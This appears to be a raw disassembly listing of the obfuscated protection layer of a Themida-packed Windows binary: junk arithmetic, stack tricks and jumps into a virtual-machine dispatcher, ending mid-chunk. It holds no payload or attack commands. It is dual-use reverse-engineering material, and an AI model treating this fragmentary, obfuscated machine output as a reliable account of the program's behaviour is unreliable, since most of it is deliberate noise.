; FUNCTION CHUNK AT 0058B294 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058C150 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DE95 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E1A5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FBA2 SIZE 0000000B BYTES
sub esp, 4
mov [esp+0], eax
push ebx
jmp loc_58E1A5
sub_589C10 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589C1F: ; CODE XREF: sub_585452+9957j
mov edi, 4
sub esi, edi
jmp loc_583DE3
; ---------------------------------------------------------------------------
loc_589C2B: ; CODE XREF: sub_585452-1427j
push 1941h
mov [esp+0Ch+var_C], eax
push ebx
jmp sub_583D6F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589C39: ; CODE XREF: Themida_:0058F411j
add ebx, 4
jmp loc_5880E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589C44: ; CODE XREF: sub_585452+686Fj
mov eax, 462240D9h
push ebp
mov ebp, 59304702h
and ebp, 47FD75D6h
sub ebp, 0ED960060h
sub ebx, ebp
jmp loc_589936
; ---------------------------------------------------------------------------
loc_589C62: ; CODE XREF: sub_585452+2E70j
pop dx
jmp loc_58425D
; ---------------------------------------------------------------------------
loc_589C69: ; CODE XREF: sub_585452+3D3j
mov edi, 60C10FA7h
dec edi
push edx
jmp loc_58F227
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589C75: ; CODE XREF: Themida_:005845F8j
pop esp
mov [esp], edx
push ecx
push ebx
jmp loc_58714B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589C80: ; CODE XREF: sub_585452+3273j
push 2
pop ebx
add esi, 54E73772h
sub esi, ebx
sub esi, 54E73772h
pop ebx
xor esi, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], esi
xor esi, [esp-0Ch+arg_8]
pop esp
mov [esp+0], cx
movzx cx, al
push cx
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58E825
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589CB7: ; CODE XREF: sub_585452+42BFj
mov edi, [esp-16h+arg_12]
jmp loc_58D3B7
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BCA7
loc_589CBF: ; CODE XREF: sub_58BCA7+3AB4j
xor ebx, [esp+4+var_4]
pop esp
mov [esp+0], ebx
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
jmp loc_585F32
; END OF FUNCTION CHUNK FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589CD1: ; CODE XREF: sub_585452+5333j
push [esp-16h+arg_12]
pop eax
jmp loc_589311
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5886E0
loc_589CDA: ; CODE XREF: sub_5886E0-1E6Dj
and ebp, esi
jmp loc_58D70A
; END OF FUNCTION CHUNK FOR sub_5886E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D7D9
loc_589CE1: ; CODE XREF: sub_58D7D9-2164j
mov ecx, 0E332E68h
mov esi, 0E332E6Ch
xor esi, ecx
pop ecx
jmp loc_58D6AB
; END OF FUNCTION CHUNK FOR sub_58D7D9
; ---------------------------------------------------------------------------
loc_589CF3: ; CODE XREF: Themida_:00586BE3j
push 467Ah
mov [esp], ebx
push 1
mov ebx, [esp]
add esp, 4
or [edi+1Ch], ebx
jmp loc_58875F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_589D0E: ; CODE XREF: sub_58FA66-53F5j
mov eax, 17E6324Dh
not eax
not eax
dec eax
shl eax, 2
sub eax, 4F2D1B5Ch
add eax, 4F66A295h
mov esi, eax
pop eax
neg esi
xor esi, 0FEB9A00Ch
mov ebp, esi
mov esi, [esp+0]
add esp, 4
jmp loc_58E912
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_589D40: ; CODE XREF: Themida_:00583D6Aj
shr ebx, 3
jmp loc_58EE32
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589D48: ; CODE XREF: sub_585452+DAj
xchg edi, ebx
jmp loc_58EE84
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589D4F: ; CODE XREF: Themida_:0058A00Aj
pop eax
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 2581189Eh
add eax, esi
jmp loc_58C413
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_589D65: ; CODE XREF: sub_58C230+679j
neg ebp
and ebp, 102D58ADh
sub ebp, 0FFFFFFFFh
add ebp, 2E6F5FCAh
xor ebp, 2E9C4153h
jmp loc_58BD9D
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589D81: ; CODE XREF: sub_585452+6C61j
xor edi, eax
pop eax
jmp loc_58803D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C31F
loc_589D89: ; CODE XREF: sub_58C31F-3F81j
pop esp
jmp sub_58405E
; END OF FUNCTION CHUNK FOR sub_58C31F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589D8F: ; CODE XREF: sub_585452+939Dj
push esi
mov esi, esp
push ebx
mov ebx, 48A80E15h
xchg edx, ebx
push edx
not [esp+16h+var_18+2]
pop edx
jmp loc_58C4F8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58405E
loc_589DA4: ; CODE XREF: sub_58405E+1j
push esi
mov esi, 5CCE4F4Ah
mov ebx, esi
pop esi
sub ebx, 15324D2Dh
add eax, ebx
jmp loc_58F1B1
; END OF FUNCTION CHUNK FOR sub_58405E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589DBA: ; CODE XREF: sub_585452+6E06j
shr eax, 7
xor eax, 66B23Ah
mov edi, eax
push [esp+12h+var_14+2]
jmp loc_586F16
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E234
loc_589DCC: ; CODE XREF: sub_58E234-653Bj
sub esi, offset dword_57FFFC
add edi, esi
pop esi
push edx
mov edx, 4
add edi, edx
pop edx
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
xor edi, [esp+4+var_4]
pop esp
or eax, eax
jnz sub_58EFBD
push 65C4h
mov [esp+4+var_4], eax
mov eax, 58692166h
push ebx
push 1B5F1F98h
pop ebx
dec ebx
jmp loc_585CE9
; END OF FUNCTION CHUNK FOR sub_58E234
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589E0A: ; CODE XREF: sub_585452+8D7Aj
mov esi, [esp+16h+var_18+2]
add esp, 4
push edi
push ecx
push 4E213452h
pop ecx
add ecx, 5CAD0921h
sub ecx, 587FC1BBh
jmp loc_58794C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E1AF
loc_589E29: ; CODE XREF: sub_58E1AF+220j
push edx
push dword ptr [esp+4]
mov edx, [esp-4+arg_0]
jmp loc_58669E
; END OF FUNCTION CHUNK FOR sub_58E1AF
; ---------------------------------------------------------------------------
loc_589E36: ; CODE XREF: Themida_:00589EC1j
inc ebx
not ebx
jmp loc_584A3D
; ---------------------------------------------------------------------------
loc_589E3E: ; CODE XREF: Themida_:0058A8F4j
pop ebp
sub ebx, 26396E20h
add ebx, ecx
jmp loc_58D0D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589E4C: ; CODE XREF: sub_585452+A78Ej
pop esi
sub edi, 1
and edi, 33555CC6h
or edi, 0B7F7E31h
jmp loc_58C080
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589E61: ; CODE XREF: Themida_:00589BCFj
sub eax, 7E532C48h
sub eax, 521A007Fh
add eax, edi
add eax, 521A007Fh
push ebp
mov ebp, 0A55052h
dec ebp
dec ebp
neg ebp
jmp loc_58D4EF
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
jmp loc_58BCEC
; ---------------------------------------------------------------------------
loc_589E8B: ; CODE XREF: Themida_:0058B6D5j
sub esp, 4
mov [esp], ebp
push 2991h
mov [esp], eax
mov eax, 4EF1D70h
push edx
push ecx
push 688C1F8Bh
pop ecx
dec ecx
shl ecx, 7
jmp loc_58C82D
; ---------------------------------------------------------------------------
loc_589EB2: ; CODE XREF: Themida_:0058EEA6j
push ebx
mov ebx, 2120032Eh
shl ebx, 1
sub ebx, 0D04358Eh
inc ebx
jmp loc_589E36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589EC6: ; CODE XREF: sub_585452-174Aj
add edi, eax
sub edi, 264D431Fh
sub edi, 6D241D33h
pop eax
add edi, 2
xor edi, [esp-8+arg_4]
xor [esp-8+arg_4], edi
xor edi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
dec byte ptr [esp-8+arg_4]
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_589EF0 proc near ; CODE XREF: sub_58F923-65AEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ebp
mov ebp, 0B8606Bh
and ebp, 2A1E073Ah
or ebp, 5C6C22CBh
shr ebp, 5
xor ebp, 3F358479h
xor ecx, ebp
mov ebp, [esp+4+var_4]
add esp, 4
sub [esp+arg_0], ecx
mov ecx, [esp+0]
add esp, 4
jmp loc_583C20
sub_589EF0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589F22: ; CODE XREF: sub_585452+8B70j
add ecx, ebx
add ecx, 38285709h
jmp loc_58AFB4
; ---------------------------------------------------------------------------
loc_589F2F: ; CODE XREF: sub_585452+1289j
push [esp+46h+var_44+2]
pop edi
pop [esp+46h+var_48+2]
jmp loc_58E3E0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589F3C: ; CODE XREF: Themida_:005849ABj
pop eax
jmp loc_589BD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589F42: ; CODE XREF: sub_585452+5FE8j
sub edi, ecx
pop ecx
push edi
push eax
jmp loc_58A77A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589F4C: ; CODE XREF: Themida_:00583DB1j
add ebx, ecx
jmp loc_5867D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589F53: ; CODE XREF: sub_585452+8F10j
sub ebx, ecx
mov ecx, [esp+46h+var_48+2]
add esp, 4
push dword ptr [eax]
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_589F65: ; CODE XREF: Themida_:0058BCF4j
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_589F6A: ; CODE XREF: sub_585452+867j
push 1908h
jmp loc_5860D6
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_589F74: ; CODE XREF: sub_58DA2E-2496j
xor al, ch
pop cx
push 2D09h
mov [esp+0Ah+var_C+2], ecx
push eax
jmp sub_58A170
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
loc_589F86: ; CODE XREF: Themida_:0058E396j
mov cl, ah
jmp loc_58FA1A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_589F8D: ; CODE XREF: sub_58EFBD-239Fj
push [esp-4+arg_0]
pop ebp
add esp, 4
; END OF FUNCTION CHUNK FOR sub_58EFBD
; START OF FUNCTION CHUNK FOR sub_585452
loc_589F94: ; CODE XREF: sub_585452:loc_58CDB4j
; sub_58EFBD-5E1j
mov ebx, [esp+0]
push edx
mov edx, esp
sub esp, 4
mov [esp-8+arg_4], edi
mov edi, 0D5C2620h
xor edi, 2AD5375Eh
jmp sub_58F487
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
lodsb
push edx
push ebx
mov bh, 0EBh
or bh, 6Ch
xor bh, 98h
mov dl, bh
pop ebx
add al, 0D3h
add al, dl
push ecx
mov cl, 0C7h
jmp loc_58A475
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_583C20
; =============== S U B R O U T I N E =======================================
sub_589FD5 proc near ; CODE XREF: sub_585452+8CDj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00583E92 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005866E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00586703 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005876D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00587CB7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587E3C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058813F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00588443 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00588EB8 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0058997D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058A44E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058BAE3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F63D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FD4F SIZE 00000026 BYTES
push ebp
mov ebp, 71683B49h
mov esi, ebp
mov ebp, [esp+4+var_4]
add esp, 4
shl esi, 2
sub esi, 302357D2h
dec esi
shl esi, 6
add esi, 0A09AABC4h
jmp loc_58BAE3
sub_589FD5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_589FFB: ; CODE XREF: Themida_:00586174j
pop edi
sub [esp+4], ebx
push dword ptr [esp]
pop ebx
add esp, 4
push dword ptr [esp]
jmp loc_589D4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A00F: ; CODE XREF: sub_585452-AD5j
mov [esp-14h+arg_E+2], edx
push eax
mov eax, 7EFC1617h
add eax, 0FFFFFFFFh
jmp loc_586369
; ---------------------------------------------------------------------------
loc_58A022: ; CODE XREF: sub_585452+3942j
add esp, 4
jmp loc_5870EC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A02A: ; CODE XREF: Themida_:0058F366j
add bl, 7Fh
add bl, al
sub bl, 7Fh
jmp loc_585696
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A037: ; CODE XREF: sub_585452+A10Ej
push ecx
push [esp-1Eh+arg_1E]
jmp loc_588D21
; ---------------------------------------------------------------------------
loc_58A041: ; CODE XREF: sub_585452-B00j
mov ebp, [esp-0Ch+arg_8]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp-8+arg_4]
pop esp
jmp loc_585730
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A05C: ; CODE XREF: Themida_:0058748Dj
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58A061: ; CODE XREF: Themida_:00589996j
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_58CE20
; ---------------------------------------------------------------------------
loc_58A072: ; CODE XREF: Themida_:0058F64Bj
push esp
pop ecx
add ecx, 4
push 5EC7h
mov [esp], edi
push ecx
mov ecx, 3A2D2FD3h
neg ecx
and ecx, 1D76B74h
xchg ebp, ecx
not ebp
jmp loc_58B6DA
; ---------------------------------------------------------------------------
loc_58A099: ; CODE XREF: Themida_:0058CB0Aj
push edx
push ebx
mov bh, 0D2h
mov dl, bh
pop ebx
add dl, 1Ch
add al, dl
pop edx
sub al, dl
jmp loc_58C48C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A0AD: ; CODE XREF: sub_585452+5C70j
pop ebx
or edx, 23750CE0h
not edx
push eax
mov eax, 4D1D71DAh
add edx, eax
jmp loc_586FD8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A0C3: ; CODE XREF: Themida_:00588AA1j
pop dword ptr [esp]
mov esp, [esp]
mov eax, [esp]
push 516Bh
mov [esp], ecx
push esp
jmp loc_585F07
; ---------------------------------------------------------------------------
loc_58A0DA: ; CODE XREF: Themida_:0058B457j
mov eax, [esp]
add esp, 4
add esp, 4
push ebx
jmp loc_584046
; ---------------------------------------------------------------------------
loc_58A0EF: ; CODE XREF: Themida_:0058D326j
push eax
mov eax, 4
add ebp, 620520DEh
add ebp, 64780510h
jmp loc_58EED3
; ---------------------------------------------------------------------------
loc_58A106: ; CODE XREF: Themida_:00588926j
xchg esi, [esp]
pop esp
mov [esp], esi
mov esi, esp
push eax
mov eax, 29313B89h
sub eax, 1
xor eax, 415020D9h
shr eax, 5
shr eax, 3
add eax, 0FF979EE9h
push edi
mov edi, 12420D49h
inc edi
jmp loc_5868DE
; ---------------------------------------------------------------------------
loc_58A136: ; CODE XREF: Themida_:0058CFA1j
add esi, 5F5C3184h
add esi, 1DA6558Ah
jmp loc_58D9F8
; ---------------------------------------------------------------------------
loc_58A147: ; CODE XREF: Themida_:005878B1j
pop ax
jmp loc_584697
; ---------------------------------------------------------------------------
loc_58A14E: ; CODE XREF: Themida_:0058E4EDj
not ebx
sub esp, 4
mov [esp], ecx
mov ecx, 58116D88h
inc ecx
add ecx, 0FFFFFFFFh
add ecx, 19705E9Eh
sub ecx, 328972C2h
jmp loc_58C63C
; =============== S U B R O U T I N E =======================================
sub_58A170 proc near ; CODE XREF: sub_58DA2E-3AADj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_2 = word ptr 6
; FUNCTION CHUNK AT 005848D6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00586769 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00586F81 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005874AA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058B9F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C25D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C3A8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058DCE9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058E74F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FEA2 SIZE 00000013 BYTES
push ebx
mov bh, 26h
mov al, 86h
add al, bh
pop ebx
shl al, 6
push ecx
mov cl, 0E4h
dec cl
jmp loc_58DCE9
sub_58A170 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58A185: ; CODE XREF: Themida_:005892BEj
sub edx, 4
push edx
jmp loc_585C58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A191: ; CODE XREF: sub_585452-A1Aj
add [esp-18h+arg_12+2], 4
push [esp-18h+arg_12+2]
pop eax
add esp, 4
push edi
mov edi, 4
add eax, 1EC20E30h
jmp loc_589016
; ---------------------------------------------------------------------------
loc_58A1AF: ; CODE XREF: sub_585452+8C65j
or edx, 74401A67h
neg edx
add edx, 20AD406Ch
xor edi, edx
pop edx
sub ecx, 7DC03F31h
add ecx, edi
add ecx, 7DC03F31h
pop edi
sub ecx, 4
jmp loc_586834
; ---------------------------------------------------------------------------
loc_58A1D7: ; CODE XREF: sub_585452+2CDCj
add edi, 4
add edi, 4
xchg edi, [esp-0Ch+arg_8]
pop esp
sub al, 86h
sub al, cl
add al, 86h
mov ecx, [esp+0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
sub bl, 47h
add bl, 0B1h
add bl, al
push ecx
mov cl, 0Bh
add cl, 1
jmp loc_584961
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A215: ; CODE XREF: Themida_:0058FD4Aj
mov [esp], ecx
push ebx
jmp loc_5866B0
; ---------------------------------------------------------------------------
loc_58A21E: ; CODE XREF: Themida_:0058C1D0j
pop edi
inc edx
or edx, 164031FAh
sub edx, 9779FDFAh
jmp loc_58468E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D97C
loc_58A231: ; CODE XREF: sub_58D97C+29Aj
mov ecx, [esp+4+var_4]
add esp, 4
and eax, edi
mov edi, [esp+0]
jmp sub_58CCD7
; END OF FUNCTION CHUNK FOR sub_58D97C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587B94
loc_58A244: ; CODE XREF: sub_587B94+13j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_587B94
; =============== S U B R O U T I N E =======================================
sub_58A26F proc near ; CODE XREF: sub_585452+6FE0j
var_C = dword ptr -0Ch
; FUNCTION CHUNK AT 00586640 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058A70F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058AD9C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058B777 SIZE 00000008 BYTES
push ebp
mov ebp, 326E5BCBh
and ebp, 66F65B3Dh
jmp loc_586640
sub_58A26F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58A280: ; CODE XREF: sub_58EFBD-6E00j
add [esp-8+arg_8], 44E25D72h
add [esp-8+arg_8], ebp
sub [esp-8+arg_8], 44E25D72h
pop ebp
pop eax
jmp loc_587828
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_58A29B: ; CODE XREF: sub_58960C-2976j
pop ebx
sub esp, 4
mov [esp+8+var_8], ebp
jmp loc_58DE4A
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
loc_58A2AA: ; CODE XREF: Themida_:0058F262j
pop esp
mov [esp], edi
jmp loc_589759
; ---------------------------------------------------------------------------
loc_58A2B3: ; CODE XREF: Themida_:0058D0A2j
pop ebp
jmp loc_58BAA5
; ---------------------------------------------------------------------------
loc_58A2B9: ; CODE XREF: Themida_:0058CCD2j
mov edx, [esp]
jmp loc_58E04F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A2C1: ; CODE XREF: sub_585452+3EC2j
add eax, 15B85B67h
push [esp+0Ah+var_C+2]
pop edi
add esp, 4
push edi
push 4820h
mov [esp+0Eh+var_10+2], eax
push ebx
mov ebx, 4165236Ch
push eax
jmp loc_589A93
; ---------------------------------------------------------------------------
loc_58A2E2: ; CODE XREF: sub_585452+2D9j
neg ebp
jmp loc_58715E
; ---------------------------------------------------------------------------
loc_58A2E9: ; CODE XREF: sub_585452+2C68j
sub eax, edx
add eax, 6E465D6Fh
jmp loc_589386
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586650
loc_58A2F5: ; CODE XREF: sub_586650+4384j
sub esi, 6064170Bh
pop edx
push edx
mov edx, 4
add esi, edx
pop edx
xchg esi, [esp+8+var_8]
pop esp
jmp sub_58905F
; END OF FUNCTION CHUNK FOR sub_586650
; ---------------------------------------------------------------------------
loc_58A30E: ; CODE XREF: Themida_:005881A2j
pop esi
add ebp, ebx
pop ebx
jmp loc_58E4A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58A317: ; CODE XREF: sub_589967-E8Fj
pop edx
sub ebp, 5E413F23h
add edx, ebp
pop ebp
jmp loc_58BCAD
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_58958F
; ---------------------------------------------------------------------------
loc_58A353: ; CODE XREF: Themida_:0058470Fj
pop esi
jmp loc_58E20E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A359: ; CODE XREF: sub_585452+5B6Bj
pop ecx
push esi
jmp loc_58DFB2
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
push esi
mov esi, esp
push ebp
mov ebp, 7E786A84h
xor ebp, 7E786A80h
add esi, ebp
pop ebp
push edx
mov edx, 4
sub esi, edx
push dword ptr [esp]
jmp loc_584371
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58A382: ; CODE XREF: sub_58EFBD-86F9j
xchg edx, esi
not edx
xchg edx, esi
add esi, 6F2C0D8Ch
mov edx, esi
jmp loc_58BFAC
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D28B
loc_58A395: ; CODE XREF: sub_58D28B+1866j
add [esp-4+arg_0], 4
pop edi
add edi, 4
push ecx
mov ecx, 168810AEh
sub ecx, 168810AAh
sub edi, ecx
pop ecx
xchg edi, [esp-8+arg_4]
pop esp
mov [esp-0Ch+arg_8], ebx
push eax
push ecx
mov cl, dl
mov ah, cl
pop ecx
mov bl, ah
pop eax
jmp sub_58481A
; END OF FUNCTION CHUNK FOR sub_58D28B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A3C8: ; CODE XREF: sub_585452+1BC3j
pop [esp+0Ah+var_C+2]
pop esp
idiv cx
push edi
sub esp, 4
push 61F9h
mov [esp+0Eh+var_10+2], esp
add [esp+0Eh+var_10+2], 4
pop [esp+0Eh+var_10+2]
sub esp, 4
mov [esp+0Eh+var_10+2], eax
mov eax, 4
add [esp+0Eh+var_C+2], eax
jmp loc_58F699
; ---------------------------------------------------------------------------
loc_58A3F9: ; CODE XREF: sub_585452-10C6j
xor eax, ecx
xchg eax, ecx
push 1193h
mov [esp+4+var_4], ecx
jmp loc_585D8A
; ---------------------------------------------------------------------------
loc_58A409: ; CODE XREF: sub_585452+11A9j
push ecx
mov ecx, 4
add ebx, ecx
jmp loc_58C889
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A416: ; CODE XREF: Themida_:005844FFj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A42B: ; CODE XREF: sub_585452-5ECj
add eax, 42F7481Ah
pop ebx
push [esp-2Eh+arg_28+2]
pop edx
add esp, 4
push dword ptr [edi+eax*4]
push 399Eh
mov [esp-2Ah+arg_24+2], edi
push 22D5325Ah
pop edi
jmp loc_58AE98
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589FD5
loc_58A44E: ; CODE XREF: sub_589FD5-653j
and edi, 4A7C3DF1h
jmp loc_58FD4F
; END OF FUNCTION CHUNK FOR sub_589FD5
; =============== S U B R O U T I N E =======================================
sub_58A459 proc near ; CODE XREF: sub_585452+2A70j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 5FF46F74h
jmp sub_58CABE
sub_58A459 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A469: ; CODE XREF: sub_585452+2BF3j
pop ebx
mov edi, [esp+12h+var_14+2]
add esp, 4
jmp loc_58F1F0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A475: ; CODE XREF: Themida_:00589FC8j
shl cl, 7
sub cl, 0ADh
sub al, 0ACh
sub al, cl
add al, 0ACh
push dword ptr [esp]
jmp loc_5863AE
; ---------------------------------------------------------------------------
loc_58A489: ; CODE XREF: Themida_:005899D0j
mov eax, [esp]
add esp, 4
jmp loc_58F36B
; ---------------------------------------------------------------------------
loc_58A497: ; CODE XREF: Themida_:0058DE1Cj
add ecx, 4D25454Ah
push edi
mov edi, 41D32AC5h
add edi, 0BFAB45F1h
or ecx, edi
jmp loc_5856A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A4B0: ; CODE XREF: sub_585452+799Fj
push [esp+0Eh+var_10+2]
mov esi, [esp+12h+var_14+2]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+12h+var_14+2]
pop esp
xchg ebp, [esp+0Eh+var_10+2]
jmp loc_58ABCE
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
